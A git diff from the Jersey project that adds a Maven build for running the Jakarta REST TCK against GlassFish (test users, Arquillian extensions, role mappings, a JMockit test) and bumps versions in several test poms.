+            <artifactId>jersey-container-grizzly2-http</artifactId>
+            <version>${jersey.version}</version>
+            <scope>test</scope>
+        </dependency> 
+        <dependency>
+            <groupId>org.netbeans.tools</groupId>
+            <artifactId>sigtest-maven-plugin</artifactId>
+            <version>1.4</version>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.media</groupId>
+            <artifactId>jersey-media-json-binding</artifactId>
+            <version>${jersey.version}</version>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.media</groupId>
+            <artifactId>jersey-media-jaxb</artifactId>
+            <version>${jersey.version}</version>
+            <scope>test</scope>
+        </dependency>
+       <dependency>
+            <groupId>org.glassfish.jersey.media</groupId>
+            <artifactId>jersey-media-sse</artifactId>
+            <version>${jersey.version}</version>
+            <scope>test</scope>
+        </dependency>
+
+    </dependencies>
+
+
+    <build>	    
+    <plugins>
+            <plugin>
+                <groupId>org.apache.maven.plugins</groupId>
+                <artifactId>maven-dependency-plugin</artifactId>
+                <version>3.2.0</version>
+                <executions>
+                    <execution>
+                        <id>unpack</id>
+                        <phase>pre-integration-test</phase>
+                        <goals>
+                            <goal>unpack</goal>
+                        </goals>
+                        <configuration>
+                            <artifactItems>
+                                <artifactItem>
+                                    <groupId>org.glassfish.main.distributions</groupId>
+                                    <artifactId>glassfish</artifactId>
+                                    <version>${glassfish.container.version}</version>
+                                    <type>zip</type>
+                                    <overWrite>false</overWrite>
+                                    <outputDirectory>${project.build.directory}</outputDirectory>
+                                </artifactItem>
+                            </artifactItems>
+                        </configuration>
+                    </execution>
+                    <execution>
+                        <id>copy</id>
+                        <phase>pre-integration-test</phase>
+                        <goals>
+                            <goal>copy</goal>
+                        </goals>
+                        <configuration>
+                            <artifactItems>
+                                <artifactItem>
+                                    <groupId>org.glassfish.jersey.core</groupId>
+                                    <artifactId>jersey-client</artifactId>
+                                    <version>${jersey.version}</version>
+                                    <type>jar</type>
+                                    <overWrite>true</overWrite>
+                                    <outputDirectory>${glassfish.home}/glassfish/modules</outputDirectory>
+                                    <destFileName>jersey-client.jar</destFileName>
+                                </artifactItem>
+                                <artifactItem>
+                                    <groupId>org.glassfish.jersey.core</groupId>
+                                    <artifactId>jersey-server</artifactId>
+                                    <version>${jersey.version}</version>
+                                    <type>jar</type>
+                                    <overWrite>true</overWrite>
+                                    <outputDirectory>${glassfish.home}/glassfish/modules</outputDirectory>
+                                    <destFileName>jersey-server.jar</destFileName>
+                                </artifactItem>
+                                <artifactItem>
+                                    <groupId>org.glassfish.jersey.core</groupId>
+                                    <artifactId>jersey-common</artifactId>
+                                    <version>${jersey.version}</version>
+                                    <type>jar</type>
+                                    <overWrite>true</overWrite>
+                                    <outputDirectory>${glassfish.home}/glassfish/modules</outputDirectory>
+                                    <destFileName>jersey-common.jar</destFileName>
+                                </artifactItem>
+                                <artifactItem>
+                                    <groupId>org.glassfish.jersey.containers</groupId>
+                                    <artifactId>jersey-container-grizzly2-http</artifactId>
+                                    <version>${jersey.version}</version>
+                                    <type>jar</type>
+                                    <overWrite>true</overWrite>
+                                    <outputDirectory>${glassfish.home}/glassfish/modules</outputDirectory>
+                                    <destFileName>jersey-container-grizzly2-http.jar</destFileName>
+                                </artifactItem>
+                                <artifactItem>
+                                    <groupId>org.glassfish.jersey.containers</groupId>
+                                    <artifactId>jersey-container-servlet-core</artifactId>
+                                    <version>${jersey.version}</version>
+                                    <type>jar</type>
+                                    <overWrite>true</overWrite>
+                                    <outputDirectory>${glassfish.home}/glassfish/modules</outputDirectory>
+                                    <destFileName>jersey-container-servlet-core.jar</destFileName>
+                                </artifactItem>
+                                <artifactItem>
+                                    <groupId>org.glassfish.jersey.containers</groupId>
+                                    <artifactId>jersey-container-servlet</artifactId>
+                                    <version>${jersey.version}</version>
+                                    <type>jar</type>
+                                    <overWrite>true</overWrite>
+                                    <outputDirectory>${glassfish.home}/glassfish/modules</outputDirectory>
+                                    <destFileName>jersey-container-servlet.jar</destFileName>
+                                </artifactItem>
+                                <artifactItem>
+                                    <groupId>org.glassfish.jersey.media</groupId>
+                                    <artifactId>jersey-media-sse</artifactId>
+                                    <version>${jersey.version}</version>
+                                    <type>jar</type>
+                                    <overWrite>true</overWrite>
+                                    <outputDirectory>${glassfish.home}/glassfish/modules</outputDirectory>
+                                    <destFileName>jersey-media-sse.jar</destFileName>
+                                </artifactItem>
+                                <artifactItem>
+                                    <groupId>org.glassfish.jersey.media</groupId>
+                                    <artifactId>jersey-media-json-binding</artifactId>
+                                    <version>${jersey.version}</version>
+                                    <type>jar</type>
+                                    <overWrite>true</overWrite>
+                                    <outputDirectory>${glassfish.home}/glassfish/modules</outputDirectory>
+                                    <destFileName>jersey-media-json-binding.jar</destFileName>
+                                </artifactItem>
+                                 <artifactItem>
+                                    <groupId>jakarta.ws.rs</groupId>
+                                    <artifactId>jakarta.ws.rs-api</artifactId>
+                                    <version>${jakarta.rest.version}</version>
+                                    <type>jar</type>
+                                    <overWrite>true</overWrite>
+                                    <outputDirectory>${glassfish.home}/glassfish/modules</outputDirectory>
+                                    <destFileName>jakarta.ws.rs-api.jar</destFileName>
+                                </artifactItem>
+                            </artifactItems>
+                        </configuration>
+                    </execution>
+                </executions>
+            </plugin>
+            <plugin>
+                <artifactId>exec-maven-plugin</artifactId>
+                <groupId>org.codehaus.mojo</groupId>
+                <executions>
+                    <execution>
+                        <id>StopDomain1</id>
+                        <phase>pre-integration-test</phase>
+                        <goals>
+                            <goal>exec</goal>
+                        </goals>
+                        <configuration>
+                            <workingDirectory>${asadmin.home}</workingDirectory>
+                            <executable>${asadmin}</executable>
+                            <arguments>
+                                <argument>stop-domain</argument>
+                            </arguments>
+                        </configuration>
+                    </execution>
+                    <execution>
+                        <id>StartDomain1</id>
+                        <phase>pre-integration-test</phase>
+                        <goals>
+                            <goal>exec</goal>
+                        </goals>
+                        <configuration>
+                            <workingDirectory>${asadmin.home}</workingDirectory>
+                            <executable>${asadmin}</executable>
+                            <arguments>
+                                <argument>start-domain</argument>
+                            </arguments>
+                        </configuration>
+                    </execution>
+                    <execution>
+                        <id>Enable Trace requests</id>
+                        <phase>pre-integration-test</phase>
+                        <goals>
+                            <goal>exec</goal>
+                        </goals>
+                        <configuration>
+                            <workingDirectory>${asadmin.home}</workingDirectory>
+                            <executable>${asadmin}</executable>
+                            <arguments>
+                                <argument>set</argument>
+                                <argument>server-config.network-config.protocols.protocol.http-listener-1.http.trace-enabled=true</argument>
+                            </arguments>
+                        </configuration>
+                    </execution>
+                    <execution>
+                        <id>Delete User j2ee</id>
+                        <phase>pre-integration-test</phase>
+                        <goals>
+                            <goal>exec</goal>
+                        </goals>
+                        <configuration>
+                            <workingDirectory>${asadmin.home}</workingDirectory>
+                            <executable>${asadmin}</executable>
+                            <arguments>
+                                <argument>--passwordfile</argument>
+                                <argument>${project.basedir}/j2ee.pass</argument>
+                                <argument>delete-file-user</argument>
+                                <argument>j2ee</argument>
+                            </arguments>
+                            <successCodes>
+                                <successCode>0</successCode>
+                                <successCode>1</successCode>
+                            </successCodes>
+                        </configuration>
+                    </execution>
+                    <execution>
+                        <id>Add User j2ee</id>
+                        <phase>pre-integration-test</phase>
+                        <goals>
+                            <goal>exec</goal>
+                        </goals>
+                        <configuration>
+                            <workingDirectory>${asadmin.home}</workingDirectory>
+                            <executable>${asadmin}</executable>
+                            <arguments>
+                                <argument>--passwordfile</argument>
+                                <argument>${project.basedir}/j2ee.pass</argument>
+                                <argument>create-file-user</argument>
+                                <argument>--groups</argument>
+                                <argument>staff:mgr</argument>
+                                <argument>j2ee</argument>
+                            </arguments>
+                        </configuration>
+                    </execution>
+                    <execution>
+                        <id>Delete User javajoe</id>
+                        <phase>pre-integration-test</phase>
+                        <goals>
+                            <goal>exec</goal>
+                        </goals>
+                        <configuration>
+                            <workingDirectory>${asadmin.home}</workingDirectory>
+                            <executable>${asadmin}</executable>
+                            <arguments>
+                                <argument>--passwordfile</argument>
+                                <argument>${project.basedir}/javajoe.pass</argument>
+                                <argument>delete-file-user</argument>
+                                <argument>javajoe</argument>
+                            </arguments>
+                            <successCodes>
+                                <successCode>0</successCode>
+                                <successCode>1</successCode>
+                            </successCodes>
+                        </configuration>
+                    </execution>
+                    <execution>
+                        <id>Add User javajoe</id>
+                        <phase>pre-integration-test</phase>
+                        <goals>
+                            <goal>exec</goal>
+                        </goals>
+                        <configuration>
+                            <workingDirectory>${asadmin.home}</workingDirectory>
+                            <executable>${asadmin}</executable>
+                            <arguments>
+                                <argument>--passwordfile</argument>
+                                <argument>${project.basedir}/javajoe.pass</argument>
+                                <argument>create-file-user</argument>
+                                <argument>--groups</argument>
+                                <argument>guest</argument>
+                                <argument>javajoe</argument>
+                            </arguments>
+                        </configuration>
+                    </execution>
+                    <execution>
+                        <id>list users</id>
+                        <phase>pre-integration-test</phase>
+                        <goals>
+                            <goal>exec</goal>
+                        </goals>
+                        <configuration>
+                            <workingDirectory>${asadmin.home}</workingDirectory>
+                            <executable>${asadmin}</executable>
+                            <arguments>
+                                <argument>list-file-users</argument>
+                            </arguments>
+                        </configuration>
+                    </execution>
+                    <execution>
+                        <id>StopDomain</id>
+                        <phase>pre-integration-test</phase>
+                        <goals>
+                            <goal>exec</goal>
+                        </goals>
+                        <configuration>
+                            <workingDirectory>${asadmin.home}</workingDirectory>
+                            <executable>${asadmin}</executable>
+                            <arguments>
+                                <argument>stop-domain</argument>
+                            </arguments>
+                        </configuration>
+                    </execution>
+                </executions>
+            </plugin>
+            
+            <plugin>
+                <artifactId>maven-failsafe-plugin</artifactId>
+                <version>3.0.0-M5</version>
+                <executions>
+                    <execution>
+                        <id>gf-tests</id>
+                        <goals>
+                            <goal>integration-test</goal>
+                            <goal>verify</goal>
+                        </goals>
+                        <configuration>
+                            <excludes>
+                                <exclude>**/SeBootstrapIT.java</exclude>
+                            </excludes>
+                            <skipTests>false</skipTests> <!-- Do not skip when the jersey-tck profile is on -->
+                            <dependenciesToScan>jakarta.ws.rs:${tck.artifactId}</dependenciesToScan>
+                            <systemPropertyVariables>
+                                <GLASSFISH_HOME>${glassfish.home}</GLASSFISH_HOME>
+                                <servlet_adaptor>org.glassfish.jersey.servlet.ServletContainer</servlet_adaptor>
+                                <webServerHost>localhost</webServerHost>
+                                <webServerPort>8080</webServerPort>
+                                <junit.log.traceflag>true</junit.log.traceflag>
+                                <user>j2ee</user>
+                                <password>j2ee</password>
+                                <authuser>javajoe</authuser>
+                                <authpassword>javajoe</authpassword>
+                                <porting.ts.url.class.1>ee.jakarta.tck.ws.rs.lib.implementation.sun.common.SunRIURL</porting.ts.url.class.1>
+                                <jimage.dir>${project.build.directory}/jdk11-bundle</jimage.dir>
+                                <optional.tech.packages.to.ignore>jakarta.xml.bind</optional.tech.packages.to.ignore>
+                                <signature.sigTestClasspath>${glassfish.home}/glassfish/modules/jakarta.ws.rs-api.jar:${glassfish.home}/glassfish/modules/jakarta.xml.bind-api.jar:${project.build.directory}/jdk11-bundle/java.base:${project.build.directory}/jdk11-bundle/java.rmi:${project.build.directory}/jdk11-bundle/java.sql:${project.build.directory}/jdk11-bundle/java.naming</signature.sigTestClasspath>
+                            </systemPropertyVariables>
+                            <environmentVariables>
+                                <GLASSFISH_HOME>${glassfish.home}</GLASSFISH_HOME>
+                            </environmentVariables>
+                        </configuration>
+                    </execution>
+                    <execution>
+                        <id>se-tests</id>
+                        <goals>
+                            <goal>integration-test</goal>
+                            <goal>verify</goal>
+                        </goals>
+                        <configuration>
+                            <skipTests>false</skipTests> <!-- Do not skip when the jersey-tck profile is on -->
+                            <includes>
+                                <include>**/SeBootstrapIT.java</include>
+                            </includes>
+                            <dependenciesToScan>jakarta.ws.rs:${tck.artifactId}</dependenciesToScan>
+                        </configuration>
+                    </execution>
+                </executions>
+            </plugin>
+        </plugins>
+    </build>
+    <profiles>
+        <profile>
+            <id>onLinux</id>
+            <activation>
+                <os>
+                    <family>unix</family>
+                </os>
+            </activation>
+            <properties>
+                <asadmin.home>${basedir}</asadmin.home>
+                <asadmin>${glassfish.home}/glassfish/bin/asadmin</asadmin>
+            </properties>
+        </profile>
+        <profile>
+            <id>onWindows</id>
+            <activation>
+                <os>
+                    <family>Windows</family>
+                </os>
+            </activation>
+            <properties>
+                <asadmin.home>${glassfish.home}/glassfish/bin</asadmin.home>
+                <asadmin>asadmin</asadmin>
+            </properties>
+        </profile>
+        <profile>
+            <id>jersey-tck</id>
+            <properties>
+                <jersey.version>3.1.99-SNAPSHOT</jersey.version> <!-- When running the profile, use SNAPSHOT -->
+            </properties>
+        </profile>
+    </profiles>
+</project>
diff --git a/tests/jersey-tck/src/main/java/org/glassfish/jersey/core/tck/JerseyApplicationArchiveProcessor.java b/tests/jersey-tck/src/main/java/org/glassfish/jersey/core/tck/JerseyApplicationArchiveProcessor.java
new file mode 100644
index 0000000..c5597e5
--- /dev/null
+++ b/tests/jersey-tck/src/main/java/org/glassfish/jersey/core/tck/JerseyApplicationArchiveProcessor.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.core.tck;
+
+import org.jboss.arquillian.container.test.spi.client.deployment.ApplicationArchiveProcessor;
+import org.jboss.arquillian.test.spi.TestClass;
+import org.jboss.shrinkwrap.api.Archive;
+import org.jboss.shrinkwrap.api.spec.WebArchive;
+
+public class JerseyApplicationArchiveProcessor implements ApplicationArchiveProcessor {
+    @Override
+    public void process(Archive<?> archive, TestClass testClass) {
+        if ("jaxrs_ee_rs_container_requestcontext_security_web.war".equals(archive.getName())) {
+            WebArchive webArchive = (WebArchive) archive;
+            webArchive.addAsWebInfResource("jaxrs_ee_rs_container_requestcontext_security_web.war.sun-web.xml", "sun-web.xml");
+        } else if ("jaxrs_ee_core_securitycontext_basic_web.war".equals(archive.getName())) {
+            WebArchive webArchive = (WebArchive) archive;
+            webArchive.addAsWebInfResource("jaxrs_ee_core_securitycontext_basic_web.war.sun-web.xml", "sun-web.xml");
+        }
+    }
+}
diff --git a/tests/jersey-tck/src/main/java/org/glassfish/jersey/core/tck/JerseyLoadableExtension.java b/tests/jersey-tck/src/main/java/org/glassfish/jersey/core/tck/JerseyLoadableExtension.java
new file mode 100644
index 0000000..d4da355
--- /dev/null
+++ b/tests/jersey-tck/src/main/java/org/glassfish/jersey/core/tck/JerseyLoadableExtension.java
@@ -0,0 +1,27 @@
+/*
+ * Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.core.tck;
+
+import org.jboss.arquillian.container.test.spi.client.deployment.ApplicationArchiveProcessor;
+import org.jboss.arquillian.core.spi.LoadableExtension;
+
+public class JerseyLoadableExtension implements LoadableExtension {
+    @Override
+    public void register(ExtensionBuilder extensionBuilder) {
+        extensionBuilder.service(ApplicationArchiveProcessor.class, JerseyApplicationArchiveProcessor.class);
+    }
+}
diff --git a/tests/jersey-tck/src/main/resources/META-INF/services/org.jboss.arquillian.core.spi.LoadableExtension b/tests/jersey-tck/src/main/resources/META-INF/services/org.jboss.arquillian.core.spi.LoadableExtension
new file mode 100644
index 0000000..577c00f
--- /dev/null
+++ b/tests/jersey-tck/src/main/resources/META-INF/services/org.jboss.arquillian.core.spi.LoadableExtension
@@ -0,0 +1 @@
+org.glassfish.jersey.core.tck.JerseyLoadableExtension
\ No newline at end of file
diff --git a/tests/jersey-tck/src/main/resources/jaxrs_ee_core_securitycontext_basic_web.war.sun-web.xml b/tests/jersey-tck/src/main/resources/jaxrs_ee_core_securitycontext_basic_web.war.sun-web.xml
new file mode 100644
index 0000000..8e2a251
--- /dev/null
+++ b/tests/jersey-tck/src/main/resources/jaxrs_ee_core_securitycontext_basic_web.war.sun-web.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+
+    Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved.
+
+    This program and the accompanying materials are made available under the
+    terms of the Eclipse Public License v. 2.0, which is available at
+    http://www.eclipse.org/legal/epl-2.0.
+
+    This Source Code may also be made available under the following Secondary
+    Licenses when the conditions for such availability set forth in the
+    Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+    version 2 with the GNU Classpath Exception, which is available at
+    https://www.gnu.org/software/classpath/license.html.
+
+    SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+
+-->
+
+<!DOCTYPE sun-web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Sun ONE Application Server 8.0 Servlet 2.4//EN" "http://www.sun.com/software/sunone/appserver/dtds/sun-web-app_2_5-0.dtd">
+<sun-web-app>
+  <context-root>jaxrs_ee_core_securitycontext_basic_web</context-root>
+  <security-role-mapping>
+    <role-name>DIRECTOR</role-name>
+    <principal-name>j2ee</principal-name>
+  </security-role-mapping>
+  <security-role-mapping>
+    <role-name>OTHERROLE</role-name>
+    <principal-name>javajoe</principal-name>
+  </security-role-mapping>    
+</sun-web-app>
diff --git a/tests/jersey-tck/src/main/resources/jaxrs_ee_rs_container_requestcontext_security_web.war.sun-web.xml b/tests/jersey-tck/src/main/resources/jaxrs_ee_rs_container_requestcontext_security_web.war.sun-web.xml
new file mode 100644
index 0000000..a5efdc5
--- /dev/null
+++ b/tests/jersey-tck/src/main/resources/jaxrs_ee_rs_container_requestcontext_security_web.war.sun-web.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+
+    Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved.
+
+    This program and the accompanying materials are made available under the
+    terms of the Eclipse Public License v. 2.0, which is available at
+    http://www.eclipse.org/legal/epl-2.0.
+
+    This Source Code may also be made available under the following Secondary
+    Licenses when the conditions for such availability set forth in the
+    Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+    version 2 with the GNU Classpath Exception, which is available at
+    https://www.gnu.org/software/classpath/license.html.
+
+    SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+
+-->
+
+<!DOCTYPE sun-web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Sun ONE Application Server 8.0 Servlet 2.4//EN" "http://www.sun.com/software/sunone/appserver/dtds/sun-web-app_2_5-0.dtd">
+<sun-web-app>
+  <context-root>jaxrs_ee_rs_container_requestcontext_security_web</context-root>
+  <security-role-mapping>
+    <role-name>DIRECTOR</role-name>
+    <principal-name>j2ee</principal-name>
+  </security-role-mapping>
+</sun-web-app>
diff --git a/tests/jmockit/pom.xml b/tests/jmockit/pom.xml
index 3682449..e625624 100644
--- a/tests/jmockit/pom.xml
+++ b/tests/jmockit/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2020, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2020, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.tests</groupId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
diff --git a/tests/jmockit/src/test/java/org/glassfish/jersey/tests/jmockit/server/WebServerFactoryTest.java b/tests/jmockit/src/test/java/org/glassfish/jersey/tests/jmockit/server/WebServerFactoryTest.java
new file mode 100644
index 0000000..974404c
--- /dev/null
+++ b/tests/jmockit/src/test/java/org/glassfish/jersey/tests/jmockit/server/WebServerFactoryTest.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2018 Markus KARG. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.tests.jmockit.server;
+
+import static org.hamcrest.CoreMatchers.is;
+import static org.hamcrest.CoreMatchers.theInstance;
+import static org.junit.Assert.assertThat;
+
+import java.util.Iterator;
+
+import jakarta.ws.rs.SeBootstrap;
+import jakarta.ws.rs.core.Application;
+
+import org.glassfish.jersey.internal.ServiceFinder;
+import org.glassfish.jersey.internal.ServiceFinder.ServiceIteratorProvider;
+import org.glassfish.jersey.internal.guava.Iterators;
+import org.glassfish.jersey.internal.inject.InjectionManager;
+import org.glassfish.jersey.internal.inject.InjectionManagerFactory;
+import org.glassfish.jersey.server.WebServerFactory;
+import org.glassfish.jersey.server.spi.WebServer;
+import org.glassfish.jersey.server.spi.WebServerProvider;
+import org.junit.After;
+import org.junit.Test;
+
+import mockit.Mocked;
+
+/**
+ * Unit tests for {@link WebServerFactory}.
+ *
+ * @author Markus KARG (markus@headcrashing.eu)
+ * @since 3.1.0
+ */
+public final class WebServerFactoryTest {
+
+    @Test
+    public final void shouldBuildServer(@Mocked final Application mockApplication,
+                                        @Mocked final WebServer mockServer,
+                                        @Mocked final SeBootstrap.Configuration mockConfiguration,
+                                        @Mocked final InjectionManager mockInjectionManager) {
+        // given
+        ServiceFinder.setIteratorProvider(new ServiceIteratorProvider() {
+            @Override
+            public final <T> Iterator<T> createIterator(final Class<T> service, final String serviceName,
+                    final ClassLoader loader, final boolean ignoreOnClassNotFound) {
+                return Iterators.singletonIterator(service.cast(
+                        service == WebServerProvider.class ? new WebServerProvider() {
+                            @Override
+                            public final <U extends WebServer> U createServer(
+                                    final Class<U> type,
+                                    final Application application,
+                                    final SeBootstrap.Configuration configuration) {
+                                return application == mockApplication && configuration == mockConfiguration
+                                        ? type.cast(mockServer)
+                                        : null;
+                            }
+
+                            @Override
+                            public <T extends WebServer> T createServer(
+                                    final Class<T> type,
+                                    final Class<? extends Application> applicationClass,
+                                    final SeBootstrap.Configuration configuration) {
+                                return null;
+                            }
+                        }
+                                : service == InjectionManagerFactory.class ? new InjectionManagerFactory() {
+                            @Override
+                            public final InjectionManager create(final Object parent) {
+                                return mockInjectionManager;
+                            }
+                        }
+                                : null));
+            }
+
+            @Override
+            public final <T> Iterator<Class<T>> createClassIterator(final Class<T> service, final String serviceName,
+                    final ClassLoader loader, final boolean ignoreOnClassNotFound) {
+                return null;
+            }
+        });
+
+        // when
+        final WebServer server = WebServerFactory.createServer(WebServer.class, mockApplication, mockConfiguration);
+
+        // then
+        assertThat(server, is(theInstance(mockServer)));
+    }
+
+    @After
+    public final void resetServiceFinder() {
+        ServiceFinder.setIteratorProvider(null);
+    }
+
+}
diff --git a/tests/mem-leaks/pom.xml b/tests/mem-leaks/pom.xml
index cb44387..10fbb5b 100644
--- a/tests/mem-leaks/pom.xml
+++ b/tests/mem-leaks/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.tests.memleaks</groupId>
diff --git a/tests/mem-leaks/redeployment/pom.xml b/tests/mem-leaks/redeployment/pom.xml
index 05b1047..9d0817d 100644
--- a/tests/mem-leaks/redeployment/pom.xml
+++ b/tests/mem-leaks/redeployment/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.memleaks</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.tests.memleaks.redeployment</groupId>
diff --git a/tests/mem-leaks/redeployment/redeployment-hello-world-app-ref/pom.xml b/tests/mem-leaks/redeployment/redeployment-hello-world-app-ref/pom.xml
index 68d0620..ca0eaf6 100644
--- a/tests/mem-leaks/redeployment/redeployment-hello-world-app-ref/pom.xml
+++ b/tests/mem-leaks/redeployment/redeployment-hello-world-app-ref/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.memleaks.redeployment</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>redeployment-hello-world-app-ref</artifactId>
@@ -132,7 +132,7 @@
             <groupId>org.glassfish.jersey.examples</groupId>
             <artifactId>helloworld-webapp</artifactId>
             <type>war</type>
-            <version>3.0.99-SNAPSHOT</version>
+            <version>3.1.99-SNAPSHOT</version>
         </dependency>
     </dependencies>
 
diff --git a/tests/mem-leaks/redeployment/redeployment-leaking-test-app/pom.xml b/tests/mem-leaks/redeployment/redeployment-leaking-test-app/pom.xml
index 3dbdce4..4087b56 100644
--- a/tests/mem-leaks/redeployment/redeployment-leaking-test-app/pom.xml
+++ b/tests/mem-leaks/redeployment/redeployment-leaking-test-app/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.memleaks.redeployment</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>redeployment-leaking-test-app</artifactId>
diff --git a/tests/mem-leaks/redeployment/redeployment-no-jersey-app/pom.xml b/tests/mem-leaks/redeployment/redeployment-no-jersey-app/pom.xml
index 5db3a03..17caf27 100644
--- a/tests/mem-leaks/redeployment/redeployment-no-jersey-app/pom.xml
+++ b/tests/mem-leaks/redeployment/redeployment-no-jersey-app/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -24,7 +24,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.memleaks.redeployment</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>redeployment-no-jersey-app</artifactId>
@@ -125,7 +125,7 @@
         <dependency>
             <groupId>jakarta.servlet</groupId>
             <artifactId>jakarta.servlet-api</artifactId>
-            <version>${servlet5.version}</version>
+            <version>${servlet6.version}</version>
             <scope>provided</scope>
         </dependency>
         <dependency>
diff --git a/tests/mem-leaks/redeployment/redeployment-threadlocals-app/pom.xml b/tests/mem-leaks/redeployment/redeployment-threadlocals-app/pom.xml
index 3e78927..7726803 100644
--- a/tests/mem-leaks/redeployment/redeployment-threadlocals-app/pom.xml
+++ b/tests/mem-leaks/redeployment/redeployment-threadlocals-app/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
